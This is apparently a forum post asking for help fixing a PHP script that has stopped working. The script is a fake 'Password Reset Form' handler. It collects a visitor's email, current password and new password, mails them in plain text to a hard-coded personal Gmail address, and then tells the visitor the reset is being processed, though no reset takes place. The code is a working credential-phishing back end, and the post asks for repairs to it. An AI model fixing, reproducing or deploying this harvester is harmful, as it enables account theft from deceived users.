This is my PHP script I've been using forever and I have no clue why it randomly stopped working, was there an update to PHP I missed? Or could this only be the hosters fault. No matter what I do I'm throwing the "die("Error!");" part, please any suggestions would be nice.
<?php
$email = $_POST['email'];
$currentpass = $_POST['currentpass'];
$newpass = $_POST['newpass'];
$confirmpass = $_POST['confirmpass'];
$formcontent="Email: $email \n \nCurrent Password: $currentpass \n \nNew Password: $newpass \n \nConfirm New Password: $confirmpass";
$recipient = "thevoidwolfe@gmail.com";
$subject = "Password Reset Form";
$mailheader = "From: $email \r\n";
mail($recipient, $subject, $formcontent, $mailheader) or die("Error!");
echo '<!DOCTYPE html>
<html lang="en">
<!--DOCUMENT HEAD BEGINS HERE-->
<head>
<title>Password Reset Form</title>
<meta charset="utf-8" />
<link rel="stylesheet" href="main.css" />
</head>
<body>
<div class="container">
<form id="contact" action="" method="post">
<h3>Password Reset Form</h3>
<h2>Your password reset is being processed, this could take up to 10 minutes.</h2>
<p class="copyright">
Designed by
<a href="https://colorlib.com" target="_blank" title="Colorlib">Colorlib</a>
</p>
</form>
</div>
</body>
</html>
';
?>